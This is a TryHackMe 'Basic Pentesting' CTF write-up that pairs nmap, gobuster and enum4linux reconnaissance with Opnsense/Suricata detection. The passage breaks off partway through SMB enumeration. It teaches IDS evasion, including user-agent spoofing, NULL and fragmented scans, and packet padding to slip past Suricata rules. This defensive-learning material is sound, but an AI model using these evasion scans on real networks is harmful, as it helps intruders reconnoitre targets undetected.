TryHackMe Basic Pentesting

This writeup is a guide to completing and further understanding the TryHackMe "Basic Pentesting" room.

Activate Javascript to see the navigation bar that should appear on the right hand side of your browser window.-->

This is not a standard writeup, others have done that much better than I could. This guide is my attempt to synthesise both the attacker and defender mindsets. As I am still learning, feel free to send me questions on Discord or by email.

This guide requires you to have a small amount of experience with the Linux terminal, THM have a brilliant guide here.

The terms "Red Team" and "Blue Team" throughout this guide are meant as general perspectives on security. A "Red Team" perspective will be on the attacking side and a "Blue Team" perspective is from the complementary defending side. Nether one is better, they are only sides on the same security coin.

This writeup doesn't have a TL; DR, however if you just want to know how to get the flags follow the "Red Team" tasks. The "Blue Team" and "Wily Red/Blue Team" sections are for further reading and understanding, and are not mandatory to solve the CTF. You do not have to follow along with the supplemental tasks, they are there to get you thinking differently about how to approach a CTF and hopefully a real engagement one day.

We will focus on one task and attempt to cover it thoroughly in each guide. This guide will look into the recon phase of the Cyber Kill chain. Recon encompasses many things, we will only focus on nmap and it's detection and obfuscation today.

For more explanation on shell commands Explain Shell is an excellent resource if you are just starting out. For example you can search something like https://explainshell.com/explain?cmd=sudo+nmap+-p-+-A+-sS+-vv+10.10.71.104+-oN+tcpAllScan.10.10.71.104.nmap

Disclaimer; all external resources linked in this guide are OUT OF SCOPE, the only item in scope is your deployed THM instance.

1.1 Deploy the machine and connect to our network

THM connection guide can be found here

1.2 Find the services exposed by the machine

(AUTHER HINT use an nmap scan to look for the open ports)

Red Team

Recon with nmap

Replace TARGET_IP with the THM IP address of your target. Should be something like 10.10.71.X whatever IP address your target VM has.

sudo nmap -p- -A -sS -vv TARGET_IP -oN tcpAllScan.TARGET_IP.nmap

Tool and flag explanation

If you are new to nmap please see this brilliant room on THM that explains in more detail how to use it.

For more explanation run man nmap this will bring up the manual page for nmap, similarly man sudo will bring up the manual page for sudo. To exit press the Q key. To search for key words in the manual page press the / key and type what you'd like to search for and hit enter.

sudo
Linux best practise is to not run as the root "user" but use sudo or equivalent to temporarily grant a process higher privileges on request. sudo without another user will default to the root "user".

nmap
The process we want to start, passed as an argument to sudo.

-p-
This is the port flag for nmap, here we are saying all 65,535 ports, denoted by the highfin. nmap will default to a TCP scan unless directed to use UDP.

-A
This flag is the aggressive tests flag, if a port is found to be open nmap will run tests against it to determine what service is running on the port.

-sS
Commonly referred to as a "stealth scan", with modern monitoring it's not really stealth. How I remember it is 'scan SYN'

-vv
The verbose flag used to get more information during the scan, like progress.

TARGET_IP
The target IP address to scan.

-oN tcpAllScan.TARGET_IP.nmap
The output flag used to output the results to a file, it's best practise to output any scan to a file as you don't need to scan the targets again. The filename, for discoverability I normally save it as a .nmap text file.

Scan results

Results are trimmed with (...) to shorten them, your output will look different.

...
Scanning TARGET_IP [65535 ports]
Discovered open port 8080/tcp on TARGET_IP
Discovered open port 139/tcp on TARGET_IP
Discovered open port 22/tcp on TARGET_IP
Discovered open port 445/tcp on TARGET_IP
Discovered open port 80/tcp on TARGET_IP
Discovered open port 8009/tcp on TARGET_IP
Completed SYN Stealth Scan at 12:06, 11.81s elapsed (65535 total ports)
...
Nmap scan report for TARGET_IP
Host is up, received reset ttl 63 (0.021s latency).
Scanned at 2022-06-05 12:05:50 BST for 38s
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| ssh-rsa AAAAB...DP/vd
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
| ecdsa-sha2-nistp256 AAAA...v9eZw=
|   256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
|_ssh-ed25519 AAAA...1wU
80/tcp   open  http        syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       syn-ack ttl 63 Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        syn-ack ttl 63 Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.7
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
...

Uptime guess: 198.840 days (since Thu Nov 18 14:57:30 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2022-06-05T07:06:27-04:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 48320/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 4395/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 57578/udp): CLEAN (Failed to receive data)
|   Check 4 (port 24308/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   BASIC2<00>           Flags: <unique><active>
|   BASIC2<03>           Flags: <unique><active>
|   BASIC2<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb2-time: 
|   date: 2022-06-05T11:06:27
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   20.41 ms 10.11.0.1
2   20.54 ms TARGET_IP
...
Nmap done: 1 IP address (1 host up) scanned in 40.47 seconds
           Raw packets sent: 65659 (2.893MB) | Rcvd: 65611 (2.628MB)

Results explanation

As you can see there is quite a bit going on here. I like to break it down to individual ports. Normally I extract what is running on the port and what version is running, and any other juicy details. After enough scans you will be able to pick out the signal from the noise.

SSH

Discovered open port 22/tcp on TARGET_IP
OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

Port 22 is normally reserved for SSH, nowadays SSH is quite OS agnostic but older machines running SSH would normally indicate a Linux host.

The target is a Linux machine, in this case Ubuntu
The version of Ubuntu is most probably Xenial (Ubuntu 16.04)
There are CVEs affecting this version of SSH (a rabbit hole possibly worth exploring later)

Web

Discovered open port 80/tcp on TARGET_IP
Apache httpd 2.4.18 ((Ubuntu))

Port 80 is normally reserved for HTTP web traffic.

It confirms the server is running Ubuntu Linux.
It is hosting a webpage
It's running Apache httpd version 2.4.18 (no major vulnerabilities are disclosed for this version)
The version of Apache is quite old (maybe other packages on the machine are also old?)

Samba

Discovered open port 139/tcp on TARGET_IP
Discovered open port 445/tcp on TARGET_IP
Samba smbd 4.3.11-Ubuntu

Ports 445 and 139 are normally reserved for samba so nmap has been able to illuminate this nicely

The machine as well as being a 'website' is also hosting files to share (with Windows hosts most probably as if it was for Linux hosts it would have been FTP, SFTP(SSH File Transfer Protocol), NFS, etc.)
It would be worth further enumerating this share to see if there are any user names or shares exposed.
There is an exploit for RCE available for this version but it would need to be tested (anouther rabbit hole)

Web Admin - Tomcat

Discovered open port 8080/tcp on TARGET_IP
Apache Tomcat 9.0.7

Port 8080 is normally reserved for administrative web services. In this case Apache Tomcat.

Exposing port 8080 could indicate this is a development environment (less security controls for us to worry about)
There are some exploits available (in this case it's a DOS not useful for us right now)

Web Admin - Jserv

Discovered open port 8009/tcp on TARGET_IP
Apache Jserv (Protocol v1.3)

This port is normally reserved for Apache Jserv

This version of jsrv is vulnerable to an exploit (a rabbit hole possibly worth exploring after all the enumeration is done)

The fuller picture

After the nmap scan we can gather a few key pieces of information

This host probably hasn't been updated in a while
It is likely a development machine
It is hosting files (could have useful information in them)
SSH is open to log in for access

Blue Team (supplemental)

Find the services exposed by the machine

For a detailed explanation of the LAB setup please view this blog post (TBD). I won't be enumerating the exact THM machines but will run similar hosts internally. This is done to allow for easy monitoring and installation of security products, it has the added bonus of more accurately replicating a real engagement (your target isn't just going to hand over their machines to you, will they?).

Enumeration is the name of the game early on in the Cyber Kill Chain so I'll will look out for suspicious network connections to the VM. To do this I've rushed out and bought a firewall, it's fancy it even has IDS/IPS (intrusion detection system / intrusion prevention system). In this case it's just an Opnsense firewall on a VM in front of what would be the web server. It's Opnsense because I'm no longer friends with pfSense.

A crash course in Firewalls and Intrusion Detection Systems (IDS)

A firewalls main objective would be to ensure network segregation. In this example we are hosting a webserver so we will allow all connections to the machine (as if in a DMZ (De-Militarized Zone)), the way I'm doing it is not recommended and is only to demonstrate how connections could be monitored.

The IDS is responsible for detecting potentially harmful activity; either on the network or on the host itself. See Intrusion detection system for further info.

For more information on firewalls see this brilliant THM room.

The humble nmap scan as mentioned before.

sudo nmap -p- -A -sS -vv TARGET_IP -oN tcpAllScan.TARGET_IP.nmap

This scan is picked up quite nicely by Opnsense.

In this instance Opnsense is running with IDS (intrusion detection system) enabled and rule sets pertinent to scanning.

Opnsense uses Suricata as an intrusion detection engine which is outside the scope of this writeup, if you would like to know more see this THM (not available yet as of 11/06/22) room for Suricata.

These are the alerts generated by the scan within the Opnsense IDS page (61 in total).

~83% (50 of 60) of all the activity is related to the "Nmap User-Agent"
The remaining alerts are to do with connections to from the outside to monitored ports, and the enumeration of the SMB share.

Wily Red Team (supplemental)

Find the services exposed by the machine

Based on the Blue Team analysis we have a few avenues of obfuscation to work with. Lets remember the two main items flagged by the firewall were the Nmap user-agent and connections to monitored ports.

Nmap User-Agent

First a slight bit of background, user-agents are used to announce the browser to a webpage (to ensure compatibility and some customization, phone webpage vs desktop webpage, etc). Modern WAFs(Web Application Firewalls) will normally block your access if it detects a non-standard user-agent.

For a more intuitive understanding of what's going on I'll use curl to demonstrate.

curl is basically a terminal version of a browser (I know w3m, Lynk, etc. this is just for illustration).

The process can be seen by the grater than and less than symbols
> indicates part of a request to the website
< indicates part of a response
* indicates verbose information from curl itself

curl -vv http://TARGET_IP

*   Trying TARGET_IP:80...
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.0.0.13
> User-Agent: curl/7.83.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 08 Jun 2022 13:21:12 GMT
< Server: Apache/2.4.18 (Unix)
< Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
< Accept-Ranges: bytes
< Content-Length: 45
< Content-Type: text/html
< 
<html><body><h1>It works!</h1></body></html>
* Connection #0 to host TARGET_IP left intact

You can see the "User-Agent" in the request body of the curl request, in this case it's User-Agent: curl/7.83.0 the version of curl currently installed on my Kali machine.

The nmap flag --script-args http.useragent="XYZ" will allow us to temporarily change the user agent to something more innocuous.

TCP connection flags

The second item to obfuscate would be how nmap initiates the port scan connections, in the command we set the -sS flag (this flag will initiate a SYN Scan). See below for how the scan works.

Diagram from https://nmap.org

For more info view the page

This leads to the question, how does Opnsense (Suricata) detect this activity? Simple it looks out for the SYN flag set in any packets destined to the ports it's setup to monitor (at least the default rules are, in IDS mode).

Example Suricata rule

"ET SCAN Suspicious inbound to PostgreSQL port 5432" with a SID of 2010939

alert tcp $EXTERNAL_NET any -> $HOME_NET 5432 (msg:"ET SCAN Suspicious inbound to PostgreSQL port 5432"; flow:to_server; flags:S; threshold: type limit, count 5, seconds 60, track by_src; reference:url,doc.emergingthreats.net/2010939; classtype:bad-unknown; sid:2010939; rev:3; metadata:created_at 2010_07_30, former_category HUNTING, updated_at 2018_03_27;)

An explanation can be found here.

The main target of obfuscation is the alert is using the flag:S matcher. If any "normal" TCP connection is made to port 5432 from the outside would the alert will fire. Based on the three way TCP handshake the first packet flag that should be sent is SYN, since in this case the port is closed the device responds with a RST, ACK to close the connection.

However connections with nmap can be initiated with different flags, in this case the NULL flag -sN i.e. no flags at all, the machine responds with a RST as the port is closed, as we'd expected but we didn't start the connection with a SYN flag.

More info on the -sN flag can be found here.

Bringing it all together

If we scan the target now with the following scan (with the user-agent changed) we should be less detectable.

Identify Open Ports

We will scan the top 1000 most common ports with the -sN flag set.

sudo nmap --top-ports=1000 -sN -vv TARGET_IP -oN tcpAllScanSTELTH.TARGET_IP.nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 14:32 BST
Initiating ARP Ping Scan at 14:32
Scanning 10.0.0.13 [1 port]
Completed ARP Ping Scan at 14:32, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:32
Completed Parallel DNS resolution of 1 host. at 14:32, 0.01s elapsed
Initiating NULL Scan at 14:32
Scanning 10.0.0.13 [1000 ports]
Completed NULL Scan at 14:32, 1.65s elapsed (1000 total ports)
Nmap scan report for 10.0.0.13
Host is up, received arp-response (0.00027s latency).
Scanned at 2022-06-08 14:32:53 BST for 2s
Not shown: 994 closed tcp ports (reset)
PORT     STATE         SERVICE      REASON
22/tcp   open|filtered ssh          no-response
80/tcp   open|filtered http         no-response
139/tcp  open|filtered netbios-ssn  no-response
445/tcp  open|filtered microsoft-ds no-response
8009/tcp open|filtered ajp13        no-response
8080/tcp open|filtered http-proxy   no-response
MAC Address: 08:00:27:A1:B8:38 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.10 seconds

Enumerate Open Ports

Now let's see what's really running on these ports.

Using the -T,-sV,-sC, specific port numbers (without SMB as we will enumerate it later on), and a custom User-Agent, we can get a lot of detail from the target.

sudo nmap -T1 -p22,80,8009,8080 -sV -sC --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Safari/537.36" -vv TARGET_IP -oN tcpAllScanSTELTH.TARGET_IP.nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 14:54 BST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:54
...
Discovered open port 8080/tcp on 10.0.0.13
Discovered open port 80/tcp on 10.0.0.13
Discovered open port 22/tcp on 10.0.0.13
Discovered open port 8009/tcp on 10.0.0.13
Completed SYN Stealth Scan at 14:55, 60.08s elapsed (4 total ports)
Initiating Service scan at 14:55
...
Nmap scan report for 10.0.0.13
Host is up, received arp-response (0.00049s latency).
Scanned at 2022-06-08 14:54:43 BST for 64s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dd:e4:08:d7:de:54:02:2a:49:33:bf:60:df:a3:eb:ee (RSA)
| ssh-rsa AAA...KSh
|   256 6f:16:8d:be:d1:4e:d6:11:d1:dd:ef:fe:e8:3b:ee:cd (ECDSA)
| ecdsa-sha2-nistp256 AAA...A=
|   256 26:a8:ad:8f:ef:13:97:b6:67:12:71:11:24:dc:c7:33 (ED25519)
|_ssh-ed25519 AA...td
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.18 ((Unix))
| http-methods: 
|   Supported Methods: GET HEAD POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Unix)
8009/tcp open  ajp13   syn-ack ttl 64 Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http    syn-ack ttl 64 Apache Tomcat 9.0.7
|_http-title: Apache Tomcat/9.0.7
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:A1:B8:38 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
...
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.44 seconds

Reminder this isn't against the THM machine (it's a recreation I've put together locally)
The results will not look the same as scanning the THM machine.

The scan isn't perfect as SYN access to the SSH port does get alerted on, but going from ~60 alerts to just one is pretty good. One major assumption is that the OS being scanned by this is RFC 793 compliant, meaning this scan won't work well against Windows targets.

There are many ways this could be more sneaky, one would be to write a custom port scanning implementation in something like Scapy, don't enumerate the services as much (not really an option), further tamper with the signatures that Suricata is expecting, etc.

Wily Blue Team (supplemental)

Find the services exposed by the machine

Building on the "Blue Team" section I am going to expand network based detection. In a future guide we will use a Security Onion instance to monitor network evets (With Suricata and Zeek). Opnsense will be running in Intrusion Detection (IDS) mode. IPS mode might not work properly on virtual NICs.

No configuration changes on the host (the internally simulated one) will be made. No firewall rules will be used either, the host will still remain open on all ports, if the Suricata detection engine deems traffic to be offensive it will be alerted. If this was a real network logs would be shipped from the firewalls to the central SIEM, however for demonstrative reasons alerts raised on the firewall will remain there.

Rules rule

First I'm going to enable more rules within the default distributed emerging threats (ET) rulesets on the firewall. Pertinent enabled rulesets:

ET open/emerging-netbios
ET open/emerging-scan

Each ruleset ships with a subset of rules disabled. For example the "emerging-scan" ruleset has a rule to detect fragmented nmap scans. Keep in mind these are the free rules, you can pay for a set of rules that have more detections. The SIDs; 2000543, 2000544, 2000545, 2000546 are responsible for detecting fragmented scans. An example is SID 2000544 ("ET SCAN NMAP -f -sN"), this scan is designed to detect fragmented (and non-fragmented) scans with no flags set. However there is a small issue with the default rule, it expects a window size of 2048, this means the default nmap scan within the internal network will slip under this window size. After fixing the rule it can now can detect -sN and -f -sN scans.

Scan

sudo nmap -p- -f -sN -vv TARGET_IP

...
PORT     STATE         SERVICE      REASON
22/tcp   open|filtered ssh          no-response
80/tcp   open|filtered http         no-response
139/tcp  open|filtered netbios-ssn  no-response
445/tcp  open|filtered microsoft-ds no-response
8009/tcp open|filtered ajp13        no-response
8080/tcp open|filtered http-proxy   no-response
...

Detection

DeFAULTs

The customized "ET SCAN NMAP -f -sN" rule (to fix the window size issue):

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sN window 1024"; fragbits:!M; dsize:0; flags:0,12; ack:0; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000544; classtype:attempted-recon; sid:1000002; rev:1; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

There are a few more areas to obfuscate. The dsize keyword is the next area we can attack. nmap has an option to pad packets with random data --data-langth, making them no longer dsize:0. If I try the same scan as above with this option set we should not be detected.

Scan

sudo nmap -p- -sN --data-length 42 -vv TARGET_IP

PORT     STATE         SERVICE      REASON
22/tcp   open|filtered ssh          no-response
80/tcp   open|filtered http         no-response
139/tcp  open|filtered netbios-ssn  no-response
445/tcp  open|filtered microsoft-ds no-response
8009/tcp open|filtered ajp13        no-response
8080/tcp open|filtered http-proxy   no-response

Detection

Detecting the wily red team

Scan

Detection

We can now detect the -sV and slow -sS sections of this scan. More web based detections will be investigated in a future guide.

The duality of obfuscation

Since we know that by fixing the built in "ET SCAN NMAP -f -sN" and related scans we will be detected. Its worth reflecting on a few things;

What do we reveal by using non-standard nmap scans
Where is our target located? Internally? Externally?
If externally scans are a part of the internet and are expected so blending in with the crowed would be most advantageous.
If internally then nmap or any scan activity would be highly anomalous and would trigger an investigation so stealth would be of the up most import.
What are the capabilities of our target?
What are our targets resources?

1.3 What is the name of the hidden directory on the web server(enter name without /)?

(AUTHER HINT use dirsearch/dirbuster to find the hidden directories.)

Red Team

Web Directory enumeration with Gobuster

Replace TARGET_IP with your target IP

gobuster dir -t 10 -u http://TARGET_IP/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -o common.TARGET_IP.http

If you are missing the seclist package it can be installed with:

sudo apt install seclists

More info on seclist can be seen here

Run gobuster -h to get help with the tool (it doesn't have a man page)

Tool and flag explanation

gobuster
Gobuster is a web request engine, it is used to brute force webpage URI or directories. Based on the websites response it can make educated guesses as to what's on the website, i.e. a 404 response code would indicate that the requested resource isn't available, where as a 301 redirect would indicate the requested resource is on the server, just in a different ~~castle~~ place. And of course a response code of 200 would indicate the resource is there. More detailed explanation of HTTP response codes can be found here

dir
The dir augment tells gobuster to use directory/file enumeration mode.

-t 10
This flag tells gobuster to use the default (10) threads. In Linux processes can have threads, a subprocess of the parent process that can execute slightly different actions but still share the parent processes resources, in this case we can see that the first ~10 threads will request the following pages:

head -n 10 /usr/share/seclists/Discovery/Web-Content/common.txt

.bash_history
.bashrc
.cache
.config
.cvs
.cvsignore
.forward
.git
.git-rewrite
.git/HEAD

So the process tree would look something like this

Gobuster
	Thread 1 GET http://10.10.71.104/.bash_history
	Thread 2 GET http://10.10.71.104/.bashrc
	...
	Thread 9 GET http://10.10.71.104/.git-rewrite
	Thread 10 GET http://10.10.71.104/.git/HEAD

These pages will be requested and the threads will wait for the server to respond, in this case the server will respond with 403 or 404 almost immediately for all these pages telling the process to spawn 10 new threads with the next 10 resources to request, et cetera, until the file is exhausted of directories to request, all the threads will be finished and the parent process will exit. Linux multithreading is outside the scope of this guide, but if you'd like further info "How Linux Works 3rd edition" has some helpful info (or a >insert your favourite search engine here< search).

-u http://TARGET_IP/
This tells gobuster what the target URL is, in this case use the HTTP method to access the IP address TARGET_IP and start at the root of the web directory (we assume it's here /). Implicit in this is use port 80 the default port for HTTP traffic.

-w /usr/share/seclists/Discovery/Web-Content/common.txt
Tells gobuster to use the common.txt seclist for the directory enumeration. I normally start with common and work my way to the larger directory lists. Good lists I've found in the CTF setting are common.txt, quickhits.txt, big.txt or directory-list-2.3- small or medium or big .txt

-o common.TARGET_IP.http
Is the output flag to save the results in a file, always be saving the results.

Web enumeration results.

gobuster dir -t 10 -u http://TARGET_IP/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -o common.TARGET_IP.http
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://TARGET_IP/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/06/05 12:53:09 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/.hta                 (Status: 403) [Size: 291]
/development          (Status: 301) [Size: 318] [--> http://TARGET_IP/development/]
/index.html           (Status: 200) [Size: 158]                                       
/server-status        (Status: 403) [Size: 300]                                       
                                                                                      
===============================================================
2022/06/05 12:53:19 Finished
===============================================================

Status code explanations

404
Implicitly hidden from the output any request with a response 404 won't be displayed as it's not being served by the website.

403 is a forbidden response (slightly different to 401)
So the following pages are a no-no based on the http code

/.htaccess
/.htpasswd
/.hta
/server-status

200 is the OK responce code, the server will present the requested resource to the browser. In this case only the

/index.html

is accessible with a 200 from the common.txt list (there may be more pages but start small and work towards larger sec lists if further enum is required)

301 Luckily for us port 80 is serving a locatable resource "/development", however it's located somewhere else denoted by the 301 response in our case it's here "/development/" (notice the last forward slash).

For a more intuitive understanding of what's going on I'll use curl to demonstrate.

Sending a request to the /development directory.

The process can be seen by the grater than and less than symbols (< or >)
> indicates a request to the website
< indicates a response
* indicates verbose information from curl itself

curl -v http://TARGET_IP/development

*   Trying TARGET_IP:80...
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET /development HTTP/1.1
> Host: TARGET_IP
> User-Agent: curl/7.83.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 05 Jun 2022 12:28:40 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Location: http://TARGET_IP/development/
< Content-Length: 318
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://TARGET_IP/development/">here</a>.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at TARGET_IP Port 80</address>
</body></html>
* Connection #0 to host TARGET_IP left intact

The response line telling us it's moved

HTTP/1.1 301 Moved Permanently

The line telling us where it is now

Location: http://TARGET_IP/development/

Tells us it's moved and where to find it. Modern browsers will automatically follow this redirect and land you on the correct page (This is kind of how airport/coffee shop WiFi is able to redirect you to the appropriate landing page to log in)

curl with redirection

curl -L -v http://TARGET_IP/development

*   Trying TARGET_IP:80...
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET /development HTTP/1.1
> Host: TARGET_IP
> User-Agent: curl/7.83.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 05 Jun 2022 12:31:50 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Location: http://TARGET_IP/development/
< Content-Length: 318
< Content-Type: text/html; charset=iso-8859-1
< 
* Ignoring the response-body
* Connection #0 to host TARGET_IP left intact
* Issue another request to this URL: 'http://TARGET_IP/development/'
* Found bundle for host: 0x55e10203bd60 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection #0 with host TARGET_IP
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET /development/ HTTP/1.1
> Host: TARGET_IP
> User-Agent: curl/7.83.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 05 Jun 2022 12:31:50 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 1131
< Content-Type: text/html;charset=UTF-8
< 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
...
</html>
* Connection #0 to host 10.10.71.104 left intact

Adding the -L flag to curl makes it follow redirections.

Requesting the page in a browser will look like this.

Since there are only two text files I will go ahead and download them locally for further study.

wget -r -l1 --no-parent http://TARGET_IP/development/

This will wget all the files in the /development/ directory and put them in a folder named the TARGET_IP in your current working directory.

Tool and flag explanation

wget
Is a Linux command line utility for downloading content from websites

-r
Tells wget to download things recursively

-l1
Sets the recursion depth to 1

--no-parent
Tells wget to start at the /development/ directory and not to traverse up the directory structure to /.

http://TARGET_IP/development/
Is the target to download the files from.

Once in the downloaded directory a ls to reveal the goods (You'll have to cd your way there)

ls                                     
dev.txt   index.html ...[removed]... j.txt

Now read the files.

less dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
dev.txt (END)

Press Q to exit (notice I'm not using cat or concatenate to pipe the contents of documents to the terminal, with unknown size files it's best to first open them with an text viewer, some good examples are less, more, most or some good text editors are nano, emacs, vim). The terminal can get funky if you cat files with non-ASCII charters.

Based on the contents of this file a few assumptions made earlier can be vindicated.

This is indeed a development environment
Samba is indeed being used

We can also now make an educated guess at the number of users on this system, we have "K", and "J" (Kay and Jay are the leads in Men in Black, could be a rabbit hole).

less j.txt

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K
j.txt (END)

It seems "J" doesn't have the best password hygiene.

Blue Team (supplemental)

What is the name of the hidden directory on the web server(enter name without /)?

gobuster dir -t 10 -u http://TARGET_IP/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -o common.txt

The above web probe is detected by Opnsense (14 alerts).

Opnsense IDS is detecting access to non-standard web directories like trying to access "/.htaccess". The IDS also alerts on 403 http code responses. In a future guide we will look into some of the other options Suricata has to detect web based recon.

1.4 User brute-forcing to find the username & password

No answer needed

1.5 What is the username?

(AUTHER HINT what about using SMB to find a username?)

Red Team

SMB Enum

Moving onto SMB enumeration we can use enum4linux

Replace TARGET_IP with your target IP

enum4linux -a TARGET_IP

Tools and flag explanation

enum4linux
This tool allows for Linux hosts to enumerate nominally Windows SMB shares. Hence the name.

-a TARGET_IP
Do all the tests against the target IP.

Tool response

[+] Attempting to map shares on 10.10.182.65                                                            //10.10.71.104/Anonymous        Mapping: OK Listing: OK Writing: N/A

